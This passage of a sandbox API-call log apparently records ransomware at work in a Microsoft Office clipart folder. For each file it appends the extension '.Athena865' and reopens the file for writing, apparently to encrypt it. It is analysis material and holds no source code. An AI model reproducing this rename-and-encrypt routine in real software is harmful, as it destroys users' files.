Office\\CLIPART\\PUB60COR\\SO02276_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.953] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12516) returned 1 [0134.957] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02413_.WMF" | out: lpString1="SO02413_.WMF") returned="SO02413_.WMF" [0134.957] lstrlenW (lpString="SO02413_.WMF") returned 12 [0134.957] lstrlenW (lpString="Athena865") returned 9 [0134.957] lstrcmpiW (lpString1="2413_.WMF", lpString2="Athena865") returned -1 [0134.969] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.Athena865") returned 73 [0134.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.972] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96796) returned 1 [0134.982] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02431_.WMF" | out: lpString1="SO02431_.WMF") returned="SO02431_.WMF" [0134.982] lstrlenW (lpString="SO02431_.WMF") returned 12 [0134.982] lstrlenW (lpString="Athena865") returned 9 [0134.982] lstrcmpiW (lpString1="2431_.WMF", lpString2="Athena865") returned -1 [0134.982] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.Athena865") returned 73 [0134.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.984] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1648) returned 1 [0134.986] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02437_.WMF" | out: lpString1="SO02437_.WMF") returned="SO02437_.WMF" [0134.986] lstrlenW (lpString="SO02437_.WMF") returned 12 [0134.986] lstrlenW (lpString="Athena865") returned 9 [0134.986] lstrcmpiW (lpString1="2437_.WMF", lpString2="Athena865") returned -1 [0134.986] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.Athena865") returned 73 [0134.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.988] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1460) returned 1 [0134.991] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02439_.WMF" | out: lpString1="SO02439_.WMF") returned="SO02439_.WMF" [0134.991] lstrlenW (lpString="SO02439_.WMF") returned 12 [0134.991] lstrlenW (lpString="Athena865") returned 9 [0134.991] lstrcmpiW (lpString1="2439_.WMF", lpString2="Athena865") returned -1 [0134.991] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.Athena865") returned 73 [0134.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.992] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1284) returned 1 [0134.995] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02464_.WMF" | out: lpString1="SO02464_.WMF") returned="SO02464_.WMF" [0134.995] lstrlenW (lpString="SO02464_.WMF") returned 12 [0134.995] lstrlenW (lpString="Athena865") returned 9 [0134.995] lstrcmpiW (lpString1="2464_.WMF", lpString2="Athena865") returned -1 [0134.995] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.Athena865") returned 73 [0134.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.997] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6740) returned 1 [0134.999] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02465_.WMF" | out: lpString1="SO02465_.WMF") returned="SO02465_.WMF" [0135.000] lstrlenW (lpString="SO02465_.WMF") returned 12 [0135.000] lstrlenW (lpString="Athena865") returned 9 [0135.000] lstrcmpiW (lpString1="2465_.WMF", lpString2="Athena865") returned -1 [0135.000] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.Athena865") returned 73 [0135.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.001] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1396) returned 1 [0135.003] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02578_.WMF" | out: lpString1="SO02578_.WMF") returned="SO02578_.WMF" [0135.004] lstrlenW (lpString="SO02578_.WMF") returned 12 [0135.004] lstrlenW (lpString="Athena865") returned 9 [0135.004] lstrcmpiW (lpString1="2578_.WMF", lpString2="Athena865") returned -1 [0135.004] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.Athena865") returned 73 [0135.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.006] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6602) returned 1 [0135.009] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02617_.WMF" | out: lpString1="SO02617_.WMF") returned="SO02617_.WMF" [0135.009] lstrlenW (lpString="SO02617_.WMF") returned 12 [0135.009] lstrlenW (lpString="Athena865") returned 9 [0135.009] lstrcmpiW (lpString1="2617_.WMF", lpString2="Athena865") returned -1 [0135.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.Athena865") returned 73 [0135.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.010] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24556) returned 1 [0135.014] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02790_.WMF" | out: lpString1="SO02790_.WMF") returned="SO02790_.WMF" [0135.014] lstrlenW (lpString="SO02790_.WMF") returned 12 [0135.014] lstrlenW (lpString="Athena865") returned 9 [0135.014] lstrcmpiW (lpString1="2790_.WMF", lpString2="Athena865") returned -1 [0135.014] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.Athena865") returned 73 [0135.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.015] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32590) returned 1 [0135.020] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02791_.WMF" | out: lpString1="SO02791_.WMF") returned="SO02791_.WMF" [0135.020] lstrlenW (lpString="SO02791_.WMF") returned 12 [0135.020] lstrlenW (lpString="Athena865") returned 9 [0135.020] lstrcmpiW (lpString1="2791_.WMF", lpString2="Athena865") returned -1 [0135.020] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.Athena865") returned 73 [0135.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.022] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17164) returned 1 [0135.025] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02793_.WMF" | out: lpString1="SO02793_.WMF") returned="SO02793_.WMF" [0135.025] lstrlenW (lpString="SO02793_.WMF") returned 12 [0135.025] lstrlenW (lpString="Athena865") returned 9 [0135.025] lstrcmpiW (lpString1="2793_.WMF", lpString2="Athena865") returned -1 [0135.025] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.Athena865") returned 73 [0135.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.027] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23408) returned 1 [0135.030] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02794_.WMF" | out: lpString1="SO02794_.WMF") returned="SO02794_.WMF" [0135.030] lstrlenW (lpString="SO02794_.WMF") returned 12 [0135.030] lstrlenW (lpString="Athena865") returned 9 [0135.030] lstrcmpiW (lpString1="2794_.WMF", lpString2="Athena865") returned -1 [0135.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.Athena865") returned 73 [0135.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.032] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19322) returned 1 [0135.036] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02862_.WMF" | out: lpString1="SO02862_.WMF") returned="SO02862_.WMF" [0135.036] lstrlenW (lpString="SO02862_.WMF") returned 12 [0135.036] lstrlenW (lpString="Athena865") returned 9 [0135.036] lstrcmpiW (lpString1="2862_.WMF", lpString2="Athena865") returned -1 [0135.036] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.Athena865") returned 73 [0135.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.038] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=75310) returned 1 [0135.045] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02886_.WMF" | out: lpString1="SO02886_.WMF") returned="SO02886_.WMF" [0135.046] lstrlenW (lpString="SO02886_.WMF") returned 12 [0135.046] lstrlenW (lpString="Athena865") returned 9 [0135.046] lstrcmpiW (lpString1="2886_.WMF", lpString2="Athena865") returned -1 [0135.046] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.Athena865") returned 73 [0135.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.047] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38522) returned 1 [0135.051] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02958_.WMF" | out: lpString1="SO02958_.WMF") returned="SO02958_.WMF" [0135.051] lstrlenW (lpString="SO02958_.WMF") returned 12 [0135.051] lstrlenW (lpString="Athena865") returned 9 [0135.051] lstrcmpiW (lpString1="2958_.WMF", lpString2="Athena865") returned -1 [0135.052] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.Athena865") returned 73 [0135.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.053] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8948) returned 1 [0135.056] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SPACE_01.MID" | out: lpString1="SPACE_01.MID") returned="SPACE_01.MID" [0135.056] lstrlenW (lpString="SPACE_01.MID") returned 12 [0135.056] lstrlenW (lpString="Athena865") returned 9 [0135.056] lstrcmpiW (lpString1="CE_01.MID", lpString2="Athena865") returned 1 [0135.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.Athena865") returned 73 [0135.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.athena865"), dwFlags=0x1) returned 1 [0135.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.058] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4219) returned 1 [0135.061] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SPRNG_01.MID" | out: lpString1="SPRNG_01.MID") returned="SPRNG_01.MID" [0135.061] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0135.061] lstrlenW (lpString="Athena865") returned 9 [0135.061] lstrcmpiW (lpString1="NG_01.MID", lpString2="Athena865") returned 1 [0135.061] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.Athena865") returned 73 [0135.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.athena865"), dwFlags=0x1) returned 1 [0135.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.063] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6700) returned 1 [0135.066] lstrcpyW (in: lpString1=0x241e8ae, lpString2="STUBBY1.WMF" | out: lpString1="STUBBY1.WMF") returned="STUBBY1.WMF" [0135.066] lstrlenW (lpString="STUBBY1.WMF") returned 11 [0135.066] lstrlenW (lpString="Athena865") returned 9 [0135.066] lstrcmpiW (lpString1="UBBY1.WMF", lpString2="Athena865") returned 1 [0135.066] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.Athena865") returned 72 [0135.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.athena865"), dwFlags=0x1) returned 1 [0135.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.068] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3030) returned 1 [0135.071] lstrcpyW (in: lpString1=0x241e8ae, lpString2="STUBBY2.WMF" | out: lpString1="STUBBY2.WMF") returned="STUBBY2.WMF" [0135.071] lstrlenW (lpString="STUBBY2.WMF") returned 11 [0135.071] lstrlenW (lpString="Athena865") returned 9 [0135.071] lstrcmpiW (lpString1="UBBY2.WMF", lpString2="Athena865") returned 1 [0135.071] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.Athena865") returned 72 [0135.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.athena865"), dwFlags=0x1) returned 1 [0135.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.Athena865" (normalized: "c:\\program 